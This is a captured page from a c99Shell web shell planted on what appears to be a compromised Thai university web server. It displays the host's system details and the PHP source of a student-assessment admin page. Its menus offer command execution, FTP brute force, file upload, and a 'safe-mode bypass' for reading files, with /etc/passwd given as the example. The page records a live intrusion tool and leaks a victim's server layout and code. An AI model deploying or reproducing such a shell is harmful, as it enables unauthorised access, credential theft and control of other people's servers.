!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchFormByHStd.php (14.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../link/function.php";
include_once 
"../class/clsStudentAssess.php";
include_once 
"../class/clsRegistration.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsHoldStudent.php";
?>

<script language="javascript">
function sendPage(startpage,src) {
//alert(startpage);
//alert(src);
    var type;
    var word;
    type = document.getElementById('typeReport').value;
    //src = src+"&typeG="+document.getElementById('typeG').value;
    //word = "./resultRQHStd.php?="+src;
    //alert(word);
     if(type == 1){
         if(startpage == 1){
            //location.href = "./resultRQHStd.php?"+src;
            var links = "./resultRQHStd.php?"+src;
        }else if(startpage == 2){
            //location.href = "./resultTQHStd.php?"+src;
            var links = "./resultTQHStd.php?"+src;
        }
        /*else if(startpage == 3){
            var links = "./resultRQTeach.php?"+src;            
        }else if(startpage == 4){
            var links = "./resultTQTeach.php?"+src;
        }*/
            window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 2){
        if(startpage == 1 || startpage == 2){
            var links = "./reportDataRQHStdp2.php?"+src;
        }
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 3){
        if(startpage == 1 || startpage == 2){
            var links = "./reportDataRQHStd.php?"+src;
        }/*else if(startpage == 3 || startpage == 4){
            var links = "./reportDataRQTeach.php?"+src;
        }*/
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }
}
function radioSelect(val){
    document.getElementById('typeReport').value=val;
}
</script>

<?
confirmSubmit
();
openWindow();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oStd = new StudentAssess($oCA);
$oReg = new Registration($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oHC = new HoldCourse($oCA);
$oDo = new DoAssessment($oCA);
$oAF = new AssessForm($oCA);
$oHStd = new HoldStudent($oCA);
        
if(!
$acadYear)
    
$acadYear $GLOBALS["ACADYEAR"];
if(!
$semester)
    
$semester $GLOBALS["SEMESTER"];

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> 
      <a href="index.php?mm=1">ผลการประเมิน</a> 
      <img src="../picture/ico3.gif" align="absmiddle" border="0">ผลการประเมินจากการกำหนดให้นักศึกษาทำการประเมินชั้นปี และหลักสูตร (รายภาคการศึกษา)</font></legend>
      <?php
        
if(!isset($acadYearSearch)&&(!isset($semesterSearch))){
                
$acadYearSearch $acadYear;
                
$semesterSearch $semester;
        }

            
$oSse = new SysSemesterDes($oCR);
?>
      <div align="center"><br>
    <form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
          <table width="650" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
              <td height="87">
                <table width="665" border="0" align="center" cellpadding="1" cellspacing="1">
                  <tr>
                    <td height="44" valign="baseline">&nbsp;</td>
                    <td valign="baseline"><table width="341" border="0" align="right" background="../picture/coverBG3.gif">
                        <tr> 
                          <td width="341" height="33" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;&nbsp;ปีการศึกษา 
                            :</b><b> 
                            <select name="semesterSearchList" onChange="location.href = '<?php echo $PHP_SELF;?>?acadYearSearch='+encodeURI(options[selectedIndex].value)+'&amp;semesterSearch=<?php echo $semesterSearch;?>'">
                              <?php
                                $oAy
->RSAcadYearConfigGroupAcY();
                                while(
$oAy->GetRecord()) {
?>
                              <option value="<?php echo $oAy->acadYear;?><? if($acadYearSearch == $oAy->acadYear) echo "selected"?>><?php echo $oAy->acadYear;?></option>
                              <?php                
                                
}
?>
                            </select>
                            ภาคการศึกษา :</b><b> 
                            <select name="acadYearSeachList" onChange="location.href = '<?php echo $PHP_SELF;?>?semesterSearch='+encodeURI(options[selectedIndex].value)+'&amp;acadYearSearch=<?php echo $acadYearSearch;?>'">
                              <?php
                                $oSse
->RSSysSemesterDes();
                                while(
$oSse->GetRecord()) {
?>
                              <option value="<?php echo $oSse->semester;?><? if($semesterSearch == $oSse->semester) echo "selected"?>><?php echo $oSse->semesterName;?></option>
                              <?php
                                
}
?>
                            </select>
                            </b></font></td>
                        </tr>
                      </table></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td width="123" height="44" valign="baseline"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;เลือกประเภทรายงาน</b></font></td>
                    <td width="518" valign="baseline"> <input type="radio" name="typeReport"  id="typeReport" value="1" checked onClick="radioSelect(1)"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานทั่วไปของการประเมิน โดยจำแนกตามลักษณะคำถาม/ส่วน/หัวข้อการประเมิน</font> 
                      <br> <input type="radio" name="typeReport"  id="typeReport" value="2" onClick="radioSelect(2)"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกตามหัวข้อการประเมิน (เฉพาะคำถามปลายปิด)</font><br> 
                      <input type="radio" name="typeReport"  id="typeReport" value="3" onClick="radioSelect(3)"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินข้อมูลดิบ (เฉพาะคำถามปลายปิด)</font></td>
                  </tr>
                  <tr> 
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                  </tr>
                </table> </td>
           </tr>
           <tr> 
             <td height="2"></td>
           </tr>
     <tr> 
        <td height="19">
            <fieldset>
                <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_6"]; ?>">ผลการประเมินแยกตามรายการแบบประเมิน</font></legend>
                <table width="603" align="center">
                  <tr> 
                    <td colspan="2">&nbsp;</td>
                  </tr>
                  <?php

                      $i
=0;
                    
//---> กรณีเป็นแบบประเมินชั้นปีนักศึกษา flag_2
                    
$flag_2 0;
                    if((
$acadYearSearch == "") && ($semesterSearch == "")){
                        
//ค้นหาแบบประเมินที่ได้กำหนดไว้   แบบที่ผูกกับชั้นปีนักศึกษา (flag =2)
                        
$oDA->SearchByAcadSemFlag($acadYear,$semester,'2');
                        
                    } else {
                        
//ค้นหาแบบประเมินที่ได้กำหนดไว้   แบบที่ผูกกับชั้นปีนักศึกษา (flag =2)
                        
$oDA->SearchByAcadSemFlag($acadYearSearch,$semesterSearch,'2');
                    }
                        while(
$oDA->GetRecord()){
                            
//echo "<br> oDA->defineid = ".$oDA->defineid;
                            //$oHStd->SearchByDefineid($oDA->defineid);
                            //while($oHStd->GetRecord()){
                            //    echo "<br> oHStd->stdYearAss = ".$oHStd->stdYearAss;
                                //echo "<br> oStd->studentYear    = ".$oStd->studentYear;
                                //if($oHStd->stdYearAss == $oStd->studentYear){
                                    
$oAF->SearchByKey($oDA->assid);
                                    
$oAF->GetRecord();

                                    
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                                    
$oSA = new SectionAll($oCA);
                                    
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                                    
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                                    
$oSA->GetRecord();
                                    
                                    if(
$oSA->sectionRQid  0) {
                                        
$startpage 1;
                                    }else{
                                        
$startpage 2;
                                    }
                                
                                    
//echo "<br> oSA->sectionRQid = ".$oSA->sectionRQid;
        
                        //            if(($i%2) == 0)
                        //                echo '<tr>';
                        //            else
                        //                echo '<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                        //$oHStd->SearchByDefineid($xKey1);
                    
?>
                  <tr> 
                    <td width="22" height="22" valign="top" align="center"> <img src="../picture/icoa11.jpg"  border ="0" align="top"></td>
                    <td width="559">
                    <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>(ระหว่างวันที่ 
                      <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                      ถึง <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>)</a>
                      <BR>
<?
                    $stdY 
0;
                    
$oHStd->SearchByDefineid($oDA->defineid);
                    while(
$oHStd->GetRecord()){
?>
                        [<a href = "#" onClick = "sendPage('<? echo $startpage ?>','defineid=<? echo $oDA->defineid ?>&acadYear=<? echo $oDA->acadYear ?>&semester=<? echo $oDA->semester ?>&assid=<? echo $oDA->assid ?>&stdY=<? echo $oHStd->stdYearAss?>')" >
                         ชั้นปี <?=$oHStd->stdYearAss?> </a>]&nbsp;
<?                        $stdY++;
                    }
                    if(
$stdY>1){
?>
                        [<a href = "#" onClick = "sendPage('<? echo $startpage ?>','defineid=<? echo $oDA->defineid ?>&acadYear=<? echo $oDA->acadYear ?>&semester=<? echo $oDA->semester ?>&assid=<? echo $oDA->assid ?>&stdY=%')" >
                         รวมทุกชั้นปี </a>]&nbsp;
<?                    }
?>
                      </td>
                  </tr>
                  <?                $flag_2 1;
                            
//    } // end if check studentYear
                            //} //end while oHStd
                     
//end while oDA 
                    //---> กรณีเป็นแบบประเมินหลักสูตร flag_3 
                    
$flag_3 0;
                      if((
$acadYearSearch == "") && ($semesterSearch == "")){
                        
//ค้นหาแบบประเมินที่ได้กำหนดไว้   แบบที่ผูกกับหลักสูตร (flag =3)
                        
$oDA->SearchByAcadSemFlag($acadYear,$semester,'3');
                        
                    } else {
                        
//ค้นหาแบบประเมินที่ได้กำหนดไว้   แบบที่ผูกกับหลักสูตร (flag =3)
                        
$oDA->SearchByAcadSemFlag($acadYearSearch,$semesterSearch,'3');
                    }
                        while(
$oDA->GetRecord()){
                            
//echo "<br> oDA->defineid = ".$oDA->defineid;
                            //$oHStd->SearchByDefineid($oDA->defineid);
                            //while($oHStd->GetRecord()){
                            //    echo "<br> oHStd->stdYearAss = ".$oHStd->stdYearAss;
                                //echo "<br> oStd->studentYear    = ".$oStd->studentYear;
                                //if($oHStd->stdYearAss == $oStd->studentYear){
                                    
$oAF->SearchByKey($oDA->assid);
                                    
$oAF->GetRecord();

                                    
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                                    
$oSA = new SectionAll($oCA);
                                    
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                                    
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                                    
$oSA->GetRecord();
                                    
                                    if(
$oSA->sectionRQid  0) {
                                        
$startpage 1;
                                    }else{
                                        
$startpage 2;
                                    }
                                
                                    
//echo "<br> oSA->sectionRQid = ".$oSA->sectionRQid;
        
                                //    if(($i%2) == 0)
                                //        echo '<tr>';
                                //    else
                                //        echo '<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                    
?>
                  <tr> 
                    <td width="22" valign="top" height="22" align="center"> <img src="../picture/icoa12.jpg"  border ="0" align="top"></td>
                    <td width="559" height="22" ><a href = "#" onClick = "sendPage('<? echo $startpage ?>','defineid=<? echo $oDA->defineid ?>&acadYear=<? echo $oDA->acadYear ?>&semester=<? echo $oDA->semester ?>&assid=<? echo $oDA->assid ?>&stdY=%')"><?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>(ระหว่างวันที่ 
                      <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                      ถึง <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>)</a></td>
                  </tr>
                  <?            $flag_3 1;
                            
//    } // end if check studentYear
                        //    } //end while oHStd
                     
//end while oDA 

                  
if($flag_2==&& $flag_3==0){            ?>
                  <tr> 
                    <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"> 
                      ** ไม่พบรายการแบบประเมินที่ใช้ประเมินในปีการศึกษา 
                            <?php echo $acadYearSearch ?>/<?php  $oSse->SearchByKey($semesterSearch);
$oSse->GetRecord(); echo $oSse->semesterName;?> **</font></td>
                  </tr>
                  <? ?>
                  <tr> 
                    <td colspan="2">&nbsp;</td>
                  </tr>
                </table>
                <br>
              </fieldset>        </td>
       </tr>
  </table>     
          <br>
</form>
      </div>
      </fieldset><br>
      <table width="742" border="0">
        <tr> 
          <td width="63" height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ 
            : </strong></font></td>
          <td width="669"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">กรอกปีการศึกษาและเลือกภาคการศึกษาเพื่อค้นหาแบบประเมินที่ขึ้นกับชั้นปีนักศึกษา 
            และหลักสูตร</font></td>
        </tr>
        <tr> 
          <td height="27">&nbsp;</td>
          <td><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><img src="../picture/icoa11.jpg" border ="0" align="absmiddle"> 
            หมายถึง ผลการประเมินจากที่กำหนดให้นักศึกษาทำการประเมินโดยขึ้นกับชั้นปีนักศึกษา</font></td>
        </tr>
        <tr>
          <td height="27">&nbsp;</td>
          <td><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><img src="../picture/icoa12.jpg"  border ="0"  align="absmiddle"> หมายถึง ผลการประเมินจากที่กำหนดให้นักศึกษาทำการประเมินโดยขึ้นกับหลักสูตร</font></td>
        </tr>
      </table> </td>
</tr>
</table>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--